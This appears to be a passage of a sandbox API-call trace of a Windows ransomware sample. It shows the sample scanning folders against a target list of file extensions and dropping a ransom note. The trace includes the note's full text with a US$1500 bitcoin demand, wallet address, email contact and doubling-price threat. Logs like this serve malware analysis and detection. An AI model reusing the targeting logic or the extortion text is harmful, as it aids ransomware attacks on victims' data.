(lpString="*.doc") returned 5 [0109.512] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.dot") returned 0 [0109.512] lstrlenA (lpString="*.dot") returned 5 [0109.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.docx") returned 0 [0109.513] lstrlenA (lpString="*.docx") returned 6 [0109.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.7z") returned 0 [0109.513] lstrlenA (lpString="*.7z") returned 4 [0109.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.tar") returned 0 [0109.513] lstrlenA (lpString="*.tar") returned 5 [0109.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.bz2") returned 0 [0109.513] lstrlenA (lpString="*.bz2") returned 5 [0109.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.gz") returned 0 [0109.513] lstrlenA (lpString="*.gz") returned 4 [0109.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.mkv") returned 0 [0109.513] lstrlenA (lpString="*.mkv") returned 5 [0109.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.eml") returned 0 [0109.513] lstrlenA (lpString="*.eml") returned 5 [0109.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.msg") returned 0 [0109.513] lstrlenA (lpString="*.msg") returned 5 [0109.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.edb") returned 0 [0109.513] lstrlenA (lpString="*.edb") returned 5 [0109.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.accdb") returned 0 [0109.513] lstrlenA (lpString="*.accdb") returned 7 [0109.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.odb") returned 0 [0109.513] lstrlenA (lpString="*.odb") returned 5 [0109.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.java") returned 0 [0109.514] lstrlenA (lpString="*.java") returned 6 [0109.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.asm") returned 0 [0109.514] lstrlenA (lpString="*.asm") returned 5 [0109.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.pfx") returned 0 [0109.514] lstrlenA (lpString="*.pfx") returned 5 [0109.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.pem") returned 0 [0109.514] lstrlenA (lpString="*.pem") returned 5 [0109.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.p12") returned 0 [0109.514] lstrlenA (lpString="*.p12") returned 5 [0109.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.gpg") returned 0 [0109.514] lstrlenA (lpString="*.gpg") returned 5 [0109.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.vsd") returned 0 [0109.514] lstrlenA (lpString="*.vsd") returned 5 [0109.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.odg") returned 0 [0109.514] lstrlenA (lpString="*.odg") returned 5 [0109.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.raw") returned 0 [0109.514] lstrlenA (lpString="*.raw") returned 5 [0109.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.nef") returned 0 [0109.514] lstrlenA (lpString="*.nef") returned 5 [0109.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.svg") returned 0 [0109.515] lstrlenA (lpString="*.svg") returned 5 [0109.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.psd") returned 0 [0109.515] lstrlenA (lpString="*.psd") returned 5 [0109.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.vmx") returned 0 [0109.515] lstrlenA (lpString="*.vmx") returned 5 [0109.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.vmdk") returned 0 [0109.515] lstrlenA (lpString="*.vmdk") returned 6 [0109.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.vdi") returned 0 [0109.515] lstrlenA (lpString="*.vdi") returned 5 [0109.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.lay6") returned 0 [0109.515] lstrlenA (lpString="*.lay6") returned 6 [0109.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.mpeg") returned 0 [0109.515] lstrlenA (lpString="*.mpeg") returned 6 [0109.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.djvu") returned 0 [0109.515] lstrlenA (lpString="*.djvu") returned 6 [0109.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.tiff") returned 0 [0109.515] lstrlenA (lpString="*.tiff") returned 6 [0109.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.backup") returned 0 [0109.515] lstrlenA (lpString="*.backup") returned 8 [0109.515] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.pdf") returned 0 [0109.516] lstrlenA (lpString="*.pdf") returned 5 [0109.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.cert") returned 0 [0109.516] lstrlenA (lpString="*.cert") returned 6 [0109.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.docm") returned 0 [0109.516] lstrlenA (lpString="*.docm") returned 6 [0109.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.xlsm") returned 0 [0109.516] lstrlenA (lpString="*.xlsm") returned 6 [0109.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.dwg") returned 0 [0109.516] lstrlenA (lpString="*.dwg") returned 5 [0109.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.nd") returned 0 [0109.516] lstrlenA (lpString="*.nd") returned 4 [0109.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.tlg") returned 0 [0109.516] lstrlenA (lpString="*.tlg") returned 5 [0109.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.lgb") returned 0 [0109.516] lstrlenA (lpString="*.lgb") returned 5 [0109.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.mov") returned 0 [0109.516] lstrlenA (lpString="*.mov") returned 5 [0109.516] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.xdw") returned 0 [0109.516] lstrlenA (lpString="*.xdw") returned 5 [0109.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.ods") returned 0 [0109.517] lstrlenA (lpString="*.ods") returned 5 [0109.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.wav") returned 0 [0109.517] lstrlenA (lpString="*.wav") returned 5 [0109.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.mp3") returned 0 [0109.517] lstrlenA (lpString="*.mp3") returned 5 [0109.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.aiff") returned 0 [0109.517] lstrlenA (lpString="*.aiff") returned 6 [0109.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.flac") returned 0 [0109.517] lstrlenA (lpString="*.flac") returned 6 [0109.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.m4a") returned 0 [0109.517] lstrlenA (lpString="*.m4a") returned 5 [0109.517] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Transacti#\\a04be0cabc675da23c6cdd970b50e3c5\\Microsoft.Transactions.Bridge.ni.dll", pszSpec="*.csv") returned 0 [0109.517] lstrlenA (lpString="*.csv") returned 5 [0109.517] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7df5029, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd7df5029, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd7e1b189, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x186600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Transactions.Bridge.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.517] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.518] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7e8d5aa, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd7e8d5aa, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd7e8d5aa, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a04be0cabc675da23c6cdd970b50e3c5", cAlternateFileName="A04BE0~1")) returned 0 [0109.518] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0109.518] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce8590c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfce8590c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfce8590c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.VisualBas#", cAlternateFileName="MICROS~2.VIS")) returned 1 [0109.518] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualBas#") returned -1 [0109.518] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualBas#") returned -1 [0109.518] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0109.518] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.VisualBas#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#" [0109.518] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#") returned 67 [0109.518] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce8590c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfce8590c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfce8590c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0109.519] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.519] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce8590c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfce8590c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfce8590c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.519] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.519] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.519] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce8590c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfce8590c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfce8590c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="684eae3bcd28cb6d1e6997e6497056e2", cAlternateFileName="684EAE~1")) returned 1 [0109.519] lstrcmpA (lpString1=".", lpString2="684eae3bcd28cb6d1e6997e6497056e2") returned -1 [0109.519] lstrcmpA (lpString1="..", lpString2="684eae3bcd28cb6d1e6997e6497056e2") returned -1 [0109.519] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\*.*") returned="*.*" [0109.519] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\", lpString2="684eae3bcd28cb6d1e6997e6497056e2" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2" [0109.519] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2") returned 100 [0109.519] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce8590c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfce8590c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfce8590c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.520] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.520] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce8590c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfce8590c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfce8590c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.520] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.520] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.520] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdc722b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfcdc722b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfcded38b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x208800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.520] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.520] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualBasic.ni.dll") returned -1 [0109.520] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualBasic.ni.dll") returned -1 [0109.520] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualBasic.ni.dll") returned -1 [0109.520] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\*.*") returned="*.*" [0109.520] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\" [0109.520] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\") returned="" [0109.520] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\HOW TO DECRYPT FILES.txt" [0109.521] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualbas#\\684eae3bcd28cb6d1e6997e6497056e2\\how to decrypt files.txt")) returned 0xffffffff [0109.521] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualbas#\\684eae3bcd28cb6d1e6997e6497056e2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.522] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.522] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.524] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.524] CloseHandle (hObject=0x90) returned 1 [0109.524] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\", lpString2="Microsoft.VisualBasic.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll" [0109.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.ems") returned 0 [0109.524] lstrlenA (lpString="*.ems") returned 5 [0109.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.db") returned 0 [0109.524] lstrlenA (lpString="*.db") returned 4 [0109.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.dbf") returned 0 [0109.525] lstrlenA (lpString="*.dbf") returned 5 [0109.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualBas#\\684eae3bcd28cb6d1e6997e6497056e2\\Microsoft.VisualBasic.ni.dll", pszSpec="*.myox") returned 0 [0109.525] lstrlenA (lpString="*.myox") returned 6 [0109.525] PathMatchSpecA 